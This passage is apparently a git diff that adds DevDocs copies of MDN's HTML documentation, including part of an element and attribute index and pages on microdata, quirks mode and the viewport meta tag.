"image") (path . "element/image") (type . "Obsolete")) ((name . "img") (path . "element/img") (type . "Elements")) ((name . "inert (attribute)") (path . "global_attributes/inert") (type . "Attributes")) ((name . "input") (path . "element/input") (type . "Elements")) ((name . "input type=\"button\"") (path . "element/input/button") (type . "Elements")) ((name . "input type=\"checkbox\"") (path . "element/input/checkbox") (type . "Elements")) ((name . "input type=\"color\"") (path . "element/input/color") (type . "Elements")) ((name . "input type=\"date\"") (path . "element/input/date") (type . "Elements")) ((name . "input type=\"datetime-local\"") (path . "element/input/datetime-local") (type . "Elements")) ((name . "input type=\"email\"") (path . "element/input/email") (type . "Elements")) ((name . "input type=\"file\"") (path . "element/input/file") (type . "Elements")) ((name . "input type=\"hidden\"") (path . "element/input/hidden") (type . "Elements")) ((name . "input type=\"image\"") (path . "element/input/image") (type . "Elements")) ((name . "input type=\"month\"") (path . "element/input/month") (type . "Elements")) ((name . "input type=\"number\"") (path . "element/input/number") (type . "Elements")) ((name . "input type=\"password\"") (path . "element/input/password") (type . "Elements")) ((name . "input type=\"radio\"") (path . "element/input/radio") (type . "Elements")) ((name . "input type=\"range\"") (path . "element/input/range") (type . "Elements")) ((name . "input type=\"reset\"") (path . "element/input/reset") (type . "Elements")) ((name . "input type=\"search\"") (path . "element/input/search") (type . "Elements")) ((name . "input type=\"submit\"") (path . "element/input/submit") (type . "Elements")) ((name . "input type=\"tel\"") (path . "element/input/tel") (type . "Elements")) ((name . "input type=\"text\"") (path . "element/input/text") (type . "Elements")) ((name . "input type=\"time\"") (path . "element/input/time") (type . "Elements")) ((name . "input type=\"url\"") (path . "element/input/url") (type . "Elements")) ((name . "input type=\"week\"") (path . "element/input/week") (type . "Elements")) ((name . "inputmode (attribute)") (path . "attributes#inputmode-attribute") (type . "Attributes")) ((name . "inputmode (attribute)") (path . "global_attributes/inputmode") (type . "Attributes")) ((name . "ins") (path . "element/ins") (type . "Elements")) ((name . "integrity (attribute)") (path . "attributes#integrity-attribute") (type . "Attributes")) ((name . "intrinsicsize (attribute)") (path . "attributes#intrinsicsize-attribute") (type . "Attributes")) ((name . "is (attribute)") (path . "global_attributes/is") (type . "Attributes")) ((name . "ismap (attribute)") (path . "attributes#ismap-attribute") (type . "Attributes")) ((name . "itemid (attribute)") (path . "global_attributes/itemid") (type . "Attributes")) ((name . "itemprop (attribute)") (path . "global_attributes/itemprop") (type . "Attributes")) ((name . "itemref (attribute)") (path . "global_attributes/itemref") (type . "Attributes")) ((name . "itemscope (attribute)") (path . "global_attributes/itemscope") (type . "Attributes")) ((name . "itemtype (attribute)") (path . "global_attributes/itemtype") (type . "Attributes")) ((name . "kbd") (path . "element/kbd") (type . "Elements")) ((name . "kind (attribute)") (path . "attributes#kind-attribute") (type . "Attributes")) ((name . "label") (path . "element/label") (type . "Elements")) ((name . "label (attribute)") (path . "attributes#label-attribute") (type . "Attributes")) ((name . "lang (attribute)") (path . "global_attributes/lang") (type . "Attributes")) ((name . "language (attribute)") (path . "attributes#language-attribute") (type . "Attributes")) ((name . "legend") (path . "element/legend") (type . "Elements")) ((name . "li") (path . "element/li") (type . "Elements")) ((name . "link") (path . "element/link") (type . "Elements")) ((name . "list (attribute)") (path . "attributes#list-attribute") (type . "Attributes")) ((name . "loading (attribute)") (path . "attributes#loading-attribute") (type . "Attributes")) ((name . "loop (attribute)") (path . "attributes#loop-attribute") (type . "Attributes")) ((name . "low (attribute)") (path . "attributes#low-attribute") (type . "Attributes")) ((name . "main") (path . "element/main") (type . "Elements")) ((name . "manifest (attribute)") (path . "attributes#manifest-attribute") (type . "Attributes")) ((name . "map") (path . "element/map") (type . "Elements")) ((name . "mark") (path . "element/mark") (type . "Elements")) ((name . "marquee") (path . "element/marquee") (type . "Obsolete")) ((name . "max (attribute)") (path . "attributes#max-attribute") (type . "Attributes")) ((name . "maxlength (attribute)") (path . "attributes#maxlength-attribute") (type . "Attributes")) ((name . "media (attribute)") (path . "attributes#media-attribute") (type . "Attributes")) ((name . "menu") (path . "element/menu") (type . "Elements")) ((name . "menuitem") (path . "element/menuitem") (type . "Obsolete")) ((name . "meta") (path . "element/meta") (type . "Elements")) ((name . "meta.name") (path . "element/meta/name") (type . "Elements")) ((name . "meta.name.theme-color") (path . "element/meta/name/theme-color") (type . "Elements")) ((name . "meter") (path . "element/meter") (type . "Elements")) ((name . "method (attribute)") (path . "attributes#method-attribute") (type . "Attributes")) ((name . "Microdata") (path . "microdata") (type . "Miscellaneous")) ((name . "min (attribute)") (path . "attributes#min-attribute") (type . "Attributes")) ((name . "minlength (attribute)") (path . "attributes#minlength-attribute") (type . "Attributes")) ((name . "multiple (attribute)") (path . "attributes#multiple-attribute") (type . "Attributes")) ((name . "muted (attribute)") (path . "attributes#muted-attribute") (type . "Attributes")) ((name . "name (attribute)") (path . "attributes#name-attribute") (type . "Attributes")) ((name . "nav") (path . "element/nav") (type . "Elements")) ((name . "nobr") (path . "element/nobr") (type . "Obsolete")) ((name . "noembed") (path . "element/noembed") (type . "Obsolete")) ((name . "noframes") (path . "element/noframes") (type . "Obsolete")) ((name . "nonce (attribute)") (path . "global_attributes/nonce") (type . "Attributes")) ((name . "noscript") (path . "element/noscript") (type . "Elements")) ((name . "novalidate (attribute)") (path . "attributes#novalidate-attribute") (type . "Attributes")) ((name . "object") (path . "element/object") (type . "Elements")) ((name . "ol") (path . "element/ol") (type . "Elements")) ((name . "open (attribute)") (path . "attributes#open-attribute") (type . "Attributes")) ((name . "optgroup") (path . "element/optgroup") (type . "Elements")) ((name . "optimum (attribute)") (path . "attributes#optimum-attribute") (type . "Attributes")) ((name . "option") (path . "element/option") (type . "Elements")) ((name . "output") (path . "element/output") (type . "Elements")) ((name . "p") (path . "element/p") (type . "Elements")) ((name . "param") (path . "element/param") (type . "Obsolete")) ((name . "part (attribute)") (path . "global_attributes/part") (type . "Attributes")) ((name . "pattern (attribute)") (path . "attributes#pattern-attribute") (type . "Attributes")) ((name . "picture") (path . "element/picture") (type . "Elements")) ((name . "ping (attribute)") (path . "attributes#ping-attribute") (type . "Attributes")) ((name . "placeholder (attribute)") (path . "attributes#placeholder-attribute") (type . "Attributes")) ((name . "plaintext") (path . "element/plaintext") (type . "Obsolete")) ((name . "playsinline (attribute)") (path . "attributes#playsinline-attribute") (type . "Attributes")) ((name . "popover (attribute)") (path . "global_attributes/popover") (type . "Attributes")) ((name . "portal") (path . "element/portal") (type . "Elements")) ((name . "poster (attribute)") (path . "attributes#poster-attribute") (type . "Attributes")) ((name . "pre") (path . "element/pre") (type . "Elements")) ((name . "preload (attribute)") (path . "attributes#preload-attribute") (type . "Attributes")) ((name . "progress") (path . "element/progress") (type . "Elements")) ((name . "q") (path . "element/q") (type . "Elements")) ((name . "Quirks Mode and Standards Mode") (path . "quirks_mode_and_standards_mode") (type . "Miscellaneous")) ((name . "rb") (path . "element/rb") (type . "Obsolete")) ((name . "readonly (attribute)") (path . "attributes#readonly-attribute") (type . "Attributes")) ((name . "Reference") (path . "reference") (type . "Miscellaneous")) ((name . "referrerpolicy (attribute)") (path . "attributes#referrerpolicy-attribute") (type . "Attributes")) ((name . "rel (attribute)") (path . "attributes#rel-attribute") (type . "Attributes")) ((name . "required (attribute)") (path . "attributes#required-attribute") (type . "Attributes")) ((name . "reversed (attribute)") (path . "attributes#reversed-attribute") (type . "Attributes")) ((name . "rows (attribute)") (path . "attributes#rows-attribute") (type . "Attributes")) ((name . "rowspan (attribute)") (path . "attributes#rowspan-attribute") (type . "Attributes")) ((name . "rp") (path . "element/rp") (type . "Elements")) ((name . "rt") (path . "element/rt") (type . "Elements")) ((name . "rtc") (path . "element/rtc") (type . "Obsolete")) ((name . "ruby") (path . "element/ruby") (type . "Elements")) ((name . "s") (path . "element/s") (type . "Elements")) ((name . "samp") (path . "element/samp") (type . "Elements")) ((name . "sandbox (attribute)") (path . "attributes#sandbox-attribute") (type . "Attributes")) ((name . "scope (attribute)") (path . "attributes#scope-attribute") (type . "Attributes")) ((name . "scoped (attribute)") (path . "attributes#scoped-attribute") (type . "Attributes")) ((name . "script") (path . "element/script") (type . "Elements")) ((name . "script.type") (path . "element/script/type") (type . "Elements")) ((name . "script.type.importmap") (path . "element/script/type/importmap") (type . "Elements")) ((name . "script.type.speculationrules") (path . "element/script/type/speculationrules") (type . "Elements")) ((name . "search") (path . "element/search") (type . "Elements")) ((name . "section") (path . "element/section") (type . "Elements")) ((name . "select") (path . "element/select") (type . "Elements")) ((name . "selected (attribute)") (path . "attributes#selected-attribute") (type . "Attributes")) ((name . "shape (attribute)") (path . "attributes#shape-attribute") (type . "Attributes")) ((name . "size (attribute)") (path . "attributes#size-attribute") (type . "Attributes")) ((name . "sizes (attribute)") (path . "attributes#sizes-attribute") (type . "Attributes")) ((name . "slot") (path . "element/slot") (type . "Elements")) ((name . "slot (attribute)") (path . "global_attributes/slot") (type . "Attributes")) ((name . "small") (path . "element/small") (type . "Elements")) ((name . "source") (path . "element/source") (type . "Elements")) ((name . "span") (path . "element/span") (type . "Elements")) ((name . "span (attribute)") (path . "attributes#span-attribute") (type . "Attributes")) ((name . "spellcheck (attribute)") (path . "global_attributes/spellcheck") (type . "Attributes")) ((name . "src (attribute)") (path . "attributes#src-attribute") (type . "Attributes")) ((name . "srcdoc (attribute)") (path . "attributes#srcdoc-attribute") (type . "Attributes")) ((name . "srclang (attribute)") (path . "attributes#srclang-attribute") (type . "Attributes")) ((name . "srcset (attribute)") (path . "attributes#srcset-attribute") (type . "Attributes")) ((name . "start (attribute)") (path . "attributes#start-attribute") (type . "Attributes")) ((name . "step (attribute)") (path . "attributes#step-attribute") (type . "Attributes")) ((name . "strike") (path . "element/strike") (type . "Obsolete")) ((name . "strong") (path . "element/strong") (type . "Elements")) ((name . "style") (path . "element/style") (type . "Elements")) ((name . "style (attribute)") (path . "global_attributes/style") (type . "Attributes")) ((name . "sub") (path . "element/sub") (type . "Elements")) ((name . "summary") (path . "element/summary") (type . "Elements")) ((name . "summary (attribute)") (path . "attributes#summary-attribute") (type . "Attributes")) ((name . "sup") (path . "element/sup") (type . "Elements")) ((name . "tabindex (attribute)") (path . "global_attributes/tabindex") (type . "Attributes")) ((name . "table") (path . "element/table") (type . "Elements")) ((name . "target (attribute)") (path . "attributes#target-attribute") (type . "Attributes")) ((name . "tbody") (path . "element/tbody") (type . "Elements")) ((name . "td") (path . "element/td") (type . "Elements")) ((name . "template") (path . "element/template") (type . "Elements")) ((name . "textarea") (path . "element/textarea") (type . "Elements")) ((name . "tfoot") (path . "element/tfoot") (type . "Elements")) ((name . "th") (path . "element/th") (type . "Elements")) ((name . "thead") (path . "element/thead") (type . "Elements")) ((name . "time") (path . "element/time") (type . "Elements")) ((name . "title") (path . "element/title") (type . "Elements")) ((name . "title (attribute)") (path . "global_attributes/title") (type . "Attributes")) ((name . "tr") (path . "element/tr") (type . "Elements")) ((name . "track") (path . "element/track") (type . "Elements")) ((name . "translate (attribute)") (path . "global_attributes/translate") (type . "Attributes")) ((name . "tt") (path . "element/tt") (type . "Obsolete")) ((name . "type (attribute)") (path . "attributes#type-attribute") (type . "Attributes")) ((name . "u") (path . "element/u") (type . "Elements")) ((name . "ul") (path . "element/ul") (type . "Elements")) ((name . "usemap (attribute)") (path . "attributes#usemap-attribute") (type . "Attributes")) ((name . "value (attribute)") (path . "attributes#value-attribute") (type . "Attributes")) ((name . "var") (path . "element/var") (type . "Elements")) ((name . "video") (path . "element/video") (type . "Elements")) ((name . "Viewport meta tag") (path . "viewport_meta_tag") (type . "Miscellaneous")) ((name . "virtualkeyboardpolicy (attribute)") (path . "global_attributes/virtualkeyboardpolicy") (type . "Attributes")) ((name . "wbr") (path . "element/wbr") (type . "Elements")) ((name . "width (attribute)") (path . "attributes#width-attribute") (type . "Attributes")) ((name . "wrap (attribute)") (path . "attributes#wrap-attribute") (type . "Attributes")) ((name . "xmp") (path . "element/xmp") (type . "Obsolete"))]) (types . [((name . "Attributes") (count . 138) (slug . "attributes")) ((name . "Elements") (count . 140) (slug . "elements")) ((name . "Miscellaneous") (count . 39) (slug . "miscellaneous")) ((name . "Obsolete") (count . 22) (slug . "obsolete"))])) \ No newline at end of file diff --git a/devdocs/html/index.html b/devdocs/html/index.html new file mode 100644 index 00000000..581632a9 --- /dev/null +++ b/devdocs/html/index.html @@ -0,0 +1,24 @@ +

HTML: HyperText Markup Language

+

HTML (HyperText Markup Language) is the most basic building block of the Web. It defines the meaning and structure of web content. Other technologies besides HTML are generally used to describe a web page's appearance/presentation (CSS) or functionality/behavior (JavaScript).

"Hypertext" refers to links that connect web pages to one another, either within a single website or between websites. Links are a fundamental aspect of the Web. By uploading content to the Internet and linking it to pages created by other people, you become an active participant in the World Wide Web.

HTML uses "markup" to annotate text, images, and other content for display in a Web browser. HTML markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>, <span>, <img>, <aside>, <audio>, <canvas>, <datalist>, <details>, <embed>, <nav>, <search>, <output>, <progress>, <video>, <ul>, <ol>, <li> and many others.

An HTML element is set off from other text in a document by "tags", which consist of the element name surrounded by "<" and ">". The name of an element inside a tag is case-insensitive. That is, it can be written in uppercase, lowercase, or a mixture. For example, the <title> tag can be written as <Title>, <TITLE>, or in any other way. However, the convention and recommended practice is to write tags in lowercase.

The articles below can help you learn more about HTML.

+
+

Key resources

+
+
HTML Introduction

If you're new to web development, be sure to read our HTML Basics article to learn what HTML is and how to use it.

HTML Tutorials

For articles about how to use HTML, as well as tutorials and complete examples, check out our HTML Learning Area.

HTML Reference

In our extensive HTML reference section, you'll find the details about every element and attribute in HTML.

Looking to become a front-end web developer?

We have put together a course that includes all the essential information you need to work towards your goal.

Get started

+
+

Beginner's tutorials

+
+

Our HTML Learning Area features multiple modules that teach HTML from the ground up — no previous knowledge required.

Introduction to HTML

This module sets the stage, getting you used to important concepts and syntax such as looking at applying HTML to text, how to create hyperlinks, and how to use HTML to structure a web page.

Multimedia and embedding

This module explores how to use HTML to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.

HTML tables

Representing tabular data on a webpage in an understandable, accessible way can be a challenge. This module covers basic table markup, along with more complex features such as implementing captions and summaries.

HTML forms

Forms are a very important part of the Web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in, sending feedback, buying products, and more. This module gets you started with creating the client-side/front-end parts of forms.

Use HTML to solve common problems

Provides links to sections of content explaining how to use HTML to solve very common problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.

+
+

Advanced topics

+
CORS enabled image

The crossorigin attribute, in combination with an appropriate CORS header, allows images defined by the <img> element to be loaded from foreign origins and used in a <canvas> element as if they were being loaded from the current origin.

CORS settings attributes

Some HTML elements that provide support for CORS, such as <img> or <video>, have a crossorigin attribute (crossOrigin property), which lets you configure the CORS requests for the element's fetched data.

Preloading content with rel="preload"

The preload value of the <link> element's rel attribute allows you to write declarative fetch requests in your HTML <head>, specifying resources that your pages will need very soon after loading, which you therefore want to start preloading early in the lifecycle of a page load, before the browser's main rendering machinery kicks in. This ensures that they are made available earlier and are less likely to block the page's first render, leading to performance improvements. This article provides a basic guide to how preload works.

+

Reference

+
HTML reference

HTML consists of elements, each of which may be modified by some number of attributes. HTML documents are connected to each other with links.

HTML element reference

Browse a list of all HTML elements.

HTML attribute reference

Elements in HTML have attributes. These are additional values that configure the elements or adjust their behavior in various ways.

Global attributes

Global attributes may be specified on all HTML elements, even those not specified in the standard. This means that any non-standard elements must still permit these attributes, even though those elements make the document HTML5-noncompliant.

+Inline-level elements and block-level elements +

HTML elements are usually "inline-level" or "block-level" elements. An inline-level element occupies only the space bounded by the tags that define it. A block-level element occupies the entire space of its parent element (container), thereby creating a "block box".

Guide to media types and formats on the web

The <audio> and <video> elements allow you to play audio and video media natively within your content without the need for external software support.

HTML content categories

HTML is comprised of several kinds of content, each of which is allowed to be used in certain contexts and is disallowed in others. Similarly, each context has a set of other content categories it can contain and elements that can or can't be used in them. This is a guide to these categories.

Quirks mode and standards mode

Historical information on quirks mode and standards mode.

+ +
Applying color to HTML elements using CSS

This article covers most of the ways you use CSS to add color to HTML content, listing what parts of HTML documents can be colored and what CSS properties to use when doing so. Includes examples, links to palette-building tools, and more.

+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML +

+
diff --git a/devdocs/html/metadata b/devdocs/html/metadata new file mode 100644 index 00000000..044186ef --- /dev/null +++ b/devdocs/html/metadata @@ -0,0 +1,2 @@ +(1 (name . "HTML") (slug . "html") (type . "mdn") (links (home . "https://developer.mozilla.org/en-US/docs/Web/HTML") (code . "https://github.com/mdn/content/tree/main/files/en-us/web/html")) (mtime . 1698162724) (db_size . 5207458) (attribution . "© 2005–2023 MDN contributors.
+ Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.")) \ No newline at end of file diff --git a/devdocs/html/microdata.html b/devdocs/html/microdata.html new file mode 100644 index 00000000..c305d97b --- /dev/null +++ b/devdocs/html/microdata.html @@ -0,0 +1,69 @@ +

Microdata

+

Microdata is part of the WHATWG HTML Standard and is used to nest metadata within existing content on web pages. Search engines and web crawlers can extract and process microdata from a web page and use it to provide a richer browsing experience for users. Search engines benefit greatly from direct access to this structured data because it allows search engines to understand the information on web pages and provide more relevant results to users. Microdata uses a supporting vocabulary to describe an item and name-value pairs to assign values to its properties. Microdata is an attempt to provide a simpler way of annotating HTML elements with machine-readable tags than the similar approaches of using RDFa and classic microformats.

At a high level, microdata consists of a group of name-value pairs. The groups are called items, and each name-value pair is a property. Items and properties are represented by regular elements.

+
+

Vocabularies

+
+

Google and other major search engines support the Schema.org vocabulary for structured data. This vocabulary defines a standard set of type names and property names, for example, Schema.org Music Event indicates a concert performance, with startDate and location properties to specify the concert's key details. In this case, Schema.org Music Event would be the URL used by itemtype and startDate and location would be itemprop's that Schema.org Music Event defines.

Note: More about itemtype attributes can be found at https://schema.org/Thing.

Microdata vocabularies provide the semantics or meaning of an Item. Web developers can design a custom vocabulary or use vocabularies available on the web, such as the widely used schema.org vocabulary. A collection of commonly used markup vocabularies are provided by Schema.org.

Commonly used vocabularies:

Major search engine operators like Google, Microsoft, and Yahoo! rely on the schema.org vocabulary to improve search results. For some purposes, an ad hoc vocabulary is adequate. For others, a vocabulary will need to be designed. Where possible, authors are encouraged to re-use existing vocabularies, as this makes content re-use easier.

+
+

Localization

+

In some cases, search engines covering specific regions may provide locally-specific extensions of microdata. For example, Yandex, a major search engine in Russia, supports microformats such as hCard (company contact information), hRecipe (food recipe), hReview (market reviews) and hProduct (product data) and provides its own format for the definition of the terms and encyclopedic articles. This extension was made to solve transliteration problems between the Cyrillic and Latin alphabets. Due to the implementation of additional marking parameters of Schema's vocabulary, the indexation of information in Russian-language web-pages became considerably more successful.

+

Global attributes

+
+

itemid – The unique, global identifier of an item.

itemprop – Used to add properties to an item. Every HTML element may have an itemprop attribute specified, where an itemprop consists of a name and value pair.

itemref – Properties that are not descendants of an element with the itemscope attribute can be associated with the item using an itemref. itemref provides a list of element ids (not itemids) with additional properties elsewhere in the document.

itemscope – The itemscope attribute (usually) works along with itemtype to specify that the HTML contained in a block is about a particular item. The itemscope attribute creates the Item and defines the scope of the itemtype associated with it. The itemtype attribute is a valid URL of a vocabulary (such as schema.org) that describes the item and its properties context.

itemtype – Specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure. The itemscope attribute is used to set the scope of where in the data structure the vocabulary set by itemtype will be active.

+
+

Example

+ +

HTML

+
+

html

+
<div itemscope itemtype="https://schema.org/SoftwareApplication">
+  <span itemprop="name">Angry Birds</span> - REQUIRES
+  <span itemprop="operatingSystem">ANDROID</span><br />
+  <link
+    itemprop="applicationCategory"
+    href="https://schema.org/GameApplication" />
+
+  <div
+    itemprop="aggregateRating"
+    itemscope
+    itemtype="https://schema.org/AggregateRating">
+    RATING:
+    <span itemprop="ratingValue">4.6</span> (
+    <span itemprop="ratingCount">8864</span> ratings )
+  </div>
+
+  <div itemprop="offers" itemscope itemtype="https://schema.org/Offer">
+    Price: $<span itemprop="price">1.00</span>
+    <meta itemprop="priceCurrency" content="USD" />
+  </div>
+</div>
+
+
+

Structured data

+
itemscope itemtype SoftwareApplication (https://schema.org/SoftwareApplication)
itemprop name Angry Birds
itemprop operatingSystem ANDROID
itemprop applicationCategory GameApplication (https://schema.org/GameApplication)
itemscope itemprop[itemtype] aggregateRating [AggregateRating]
itemprop ratingValue 4.6
itemprop ratingCount 8864
itemscope itemprop[itemtype] offers [Offer]
itemprop price 1.00
itemprop priceCurrency USD
+

Result

+
+
+ + +

Note: A handy tool for extracting microdata structures from HTML is Google's Structured Data Testing Tool. Try it on the HTML shown above.

+
+

Browser compatibility

+

Supported in Firefox 16. Removed in Firefox 49.

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Microdata +

+
diff --git a/devdocs/html/quirks_mode_and_standards_mode.html b/devdocs/html/quirks_mode_and_standards_mode.html new file mode 100644 index 00000000..79b3b975 --- /dev/null +++ b/devdocs/html/quirks_mode_and_standards_mode.html @@ -0,0 +1,31 @@ +

Quirks Mode

+

In the old days of the web, pages were typically written in two versions: One for Netscape Navigator, and one for Microsoft Internet Explorer. When the web standards were made at W3C, browsers could not just start using them, as doing so would break most existing sites on the web. Browsers therefore introduced two modes to treat new standards compliant sites differently from old legacy sites.

There are now three modes used by the layout engines in web browsers: quirks mode, limited-quirks mode, and no-quirks mode. In quirks mode, layout emulates behavior in Navigator 4 and Internet Explorer 5. This is essential in order to support websites that were built before the widespread adoption of web standards. In no-quirks mode, the behavior is (hopefully) the desired behavior described by the modern HTML and CSS specifications. In limited-quirks mode, there are only a very small number of quirks implemented.

The limited-quirks and no-quirks modes used to be called "almost-standards" mode and "full standards" mode, respectively. These names have been changed as the behavior is now standardized.

+
+

How do browsers determine which mode to use?

+
+

For HTML documents, browsers use a DOCTYPE in the beginning of the document to decide whether to handle it in quirks mode or standards mode. To ensure that your page uses full standards mode, make sure that your page has a DOCTYPE like in this example:

+

html

+
<!doctype html>
+<html lang="en">
+  <head>
+    <meta charset="UTF-8" />
+    <title>Hello World!</title>
+  </head>
+  <body></body>
+</html>
+
+

The DOCTYPE shown in the example, <!DOCTYPE html>, is the simplest possible, and the one recommended by current HTML standards. Earlier versions of the HTML standard recommended other variants, but all existing browsers today will use full standards mode for this DOCTYPE, even the dated Internet Explorer 6. There are no valid reasons to use a more complicated DOCTYPE. If you do use another DOCTYPE, you may risk choosing one which triggers almost standards mode or quirks mode.

Make sure you put the DOCTYPE right at the beginning of your HTML document. Anything before the DOCTYPE, like a comment or an XML declaration will trigger quirks mode in Internet Explorer 9 and older.

The only purpose of <!DOCTYPE html> is to activate no-quirks mode. Older versions of HTML standard DOCTYPEs provided additional meaning, but no browser ever used the DOCTYPE for anything other than switching between render modes.

See also a detailed description of when different browsers choose various modes.

+
+

XHTML

+
+

If you serve your page as XHTML using the application/xhtml+xml MIME type in the Content-Type HTTP header, you do not need a DOCTYPE to enable standards mode, as such documents always use 'full standards mode'. Note however that serving your pages as application/xhtml+xml will cause Internet Explorer 8 to show a download dialog box for an unknown format instead of displaying your page, as the first version of Internet Explorer with support for XHTML is Internet Explorer 9.

If you serve XHTML-like content using the text/html MIME type, browsers will read it as HTML, and you will need the DOCTYPE to use standards mode.

+
+

How do I see which mode is used?

+
+

If the page is rendered in quirks or limited-quirks mode, Firefox will log a warning to the console tab in the developer tools. If this warning is not shown, Firefox is using no-quirks mode.

The value of document.compatMode in JavaScript will show whether or not the document is in quirks mode. If its value is "BackCompat", the document is in quirks mode. If it isn't, it will have value "CSS1Compat".

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode +

+
diff --git a/devdocs/html/reference.html b/devdocs/html/reference.html new file mode 100644 index 00000000..c2c5cf09 --- /dev/null +++ b/devdocs/html/reference.html @@ -0,0 +1,8 @@ +

HTML reference

+

This HTML reference describes all elements and attributes of HTML, including global attributes that apply to all elements.

HTML element reference

This page lists all the HTML elements, which are created using tags.

HTML attribute reference

Elements in HTML have attributes; these are additional values that configure the elements or adjust their behavior in various ways to meet the criteria the users want.

Global attributes

Global attributes are attributes common to all HTML elements; they can be used on all elements, though they may have no effect on some elements.

Content categories

Every HTML element is a member of one or more content categories — these categories group elements that share common characteristics.

Date and time formats used in HTML

Certain HTML elements allow you to specify dates and/or times as the value or as the value of an attribute. These include the date and time variations of the <input> element as well as the <ins> and <del> elements.

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Reference +

+
diff --git a/devdocs/html/viewport_meta_tag.html b/devdocs/html/viewport_meta_tag.html new file mode 100644 index 00000000..d24854fd --- /dev/null +++ b/devdocs/html/viewport_meta_tag.html @@ -0,0 +1,44 @@ +

Viewport meta tag

This article describes how to use the "viewport" <meta> tag to control the viewport's size and shape.

+

Background

+
+

The browser's viewport is the area of the window in which web content can be seen. This is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll around and access all the content.

Some mobile devices and other narrow screens render pages in a virtual window or viewport, which is usually wider than the screen, and then shrink the rendered result down so it can all be seen at once. Users can then pan and zoom to see different areas of the page. For example, if a mobile screen has a width of 640px, pages might be rendered with a virtual viewport of 980px, and then it will be shrunk down to fit into the 640px space.

This is done because not all pages are optimized for mobile and break (or at least look bad) when rendered at a small viewport width. This virtual viewport is a way to make non-mobile-optimized sites in general look better on narrow screen devices.

However, this mechanism is not so good for pages that are optimized for narrow screens using media queries — if the virtual viewport is 980px for example, media queries that kick in at 640px or 480px or less will never be used, limiting the effectiveness of such responsive design techniques. The viewport meta tag mitigates this problem of virtual viewport on narrow screen devices.

+
+

Viewport basics

+
+

A typical mobile-optimized site contains something like the following:

+

html

+
<meta name="viewport" content="width=device-width, initial-scale=1" />
+
+

Not all devices are the same width; you should make sure that your pages work well in a large variation of screen sizes and orientations.

The basic properties of the "viewport" <meta> tag include:

width

Controls the size of the viewport. It can be set to a specific number of pixels like width=600 or to the special value device-width, which is 100vw, or 100% of the viewport width. Minimum: 1. Maximum: 10000. Negative values: ignored.

height

Controls the size of the viewport. It can be set to a specific number of pixels like height=400 or to the special value device-height, which is 100vh, or 100% of the viewport height. Minimum: 1. Maximum: 10000. Negative values: ignored.

initial-scale

Controls the zoom level when the page is first loaded. Minimum: 0.1. Maximum: 10. Default: 1. Negative values: ignored.

minimum-scale

Controls how much zoom out is allowed on the page. Minimum: 0.1. Maximum: 10. Default: 0.1. Negative values: ignored.

maximum-scale

Controls how much zoom in is allowed on the page. Any value less than 3 fails accessibility. Minimum: 0.1. Maximum: 10. Default: 10. Negative values: ignored.

user-scalable

Controls whether zoom in and zoom out actions are allowed on the page. Valid values: 0, 1, yes, or no. Default: 1, which is the same as yes. Setting the value to 0, which is the same as no, is against Web Content Accessibility Guidelines (WCAG).

interactive-widget

Specifies the effect that interactive UI widgets, such as a virtual keyboard, have on the page's viewports. Valid values: resizes-visual, resizes-content, or overlays-content. Default: resizes-visual.

Warning: Usage of user-scalable=no can cause accessibility issues to users with visual impairments such as low vision. WCAG requires a minimum of 2× scaling; however, the best practice is to enable a 5× zoom.

+
+

Screen density

+
+

Screen resolutions have risen to the size that individual pixels are indistinguishable by the human eye. For example, smartphones often have small screens with resolutions upwards of 1920–1080 pixels (≈400dpi). Because of this, many browsers can display their pages in a smaller physical size by translating multiple hardware pixels for each CSS "pixel". Initially, this caused usability and readability problems on many touch-optimized websites.

On high dpi screens, pages with initial-scale=1 will effectively be zoomed by browsers. Their text will be smooth and crisp, but their bitmap images may not take advantage of the full screen resolution. To get sharper images on these screens, web developers may want to design images – or whole layouts – at a higher scale than their final size and then scale them down using CSS or viewport properties.

The default pixel ratio depends on the display density. On a display with density less than 200dpi, the ratio is 1.0. On displays with density between 200 and 300dpi, the ratio is 1.5. For displays with density over 300dpi, the ratio is the integer floor (density/150dpi). Note that the default ratio is true only when the viewport scale equals 1. Otherwise, the relationship between CSS pixels and device pixels depends on the current zoom level.

+
+

Viewport width and screen width

+
+

Sites can set their viewport to a specific size. For example, the definition "width=320, initial-scale=1" can be used to fit precisely onto a small phone display in portrait mode. This can cause problems when the browser renders a page at a larger size. To fix this, browsers will expand the viewport width if necessary to fill the screen at the requested scale. This is especially useful on large-screen devices.

For pages that set an initial or maximum scale, this means the width property actually translates into a minimum viewport width. For example, if your layout needs at least 500 pixels of width then you can use the following markup. When the screen is more than 500 pixels wide, the browser will expand the viewport (rather than zoom in) to fit the screen:

+

html

+
<meta name="viewport" content="width=500, initial-scale=1" />
+
+

Other attributes that are available are minimum-scale, maximum-scale, and user-scalable. These properties affect the initial scale and width, as well as limiting changes in zoom level.

+
+

The effect of interactive UI widgets

+
+

Interactive UI widgets of the browser can influence the size of the page's viewports. The most common such UI widget is a virtual keyboard. To control which resize behavior the browser should use, set the interactive-widget property.

Allowed values are:

resizes-visual

The visual viewport gets resized by the interactive widget.

resizes-content

The viewport gets resized by the interactive widget.

overlays-content

Neither the viewport nor the visual viewport gets resized by the interactive widget.

When the viewport gets resized, the initial containing block also gets resized, thereby affecting the computed size of viewport units.

+
+

Common viewport sizes for mobile and tablet devices

+

If you want to know what mobile and tablet devices have which viewport widths, there is a comprehensive list of mobile and tablet viewport sizes here. This gives information such as viewport width on portrait and landscape orientation as well as physical screen size, operating system and the pixel density of the device.

+

Specifications

+
+ + +
Specification
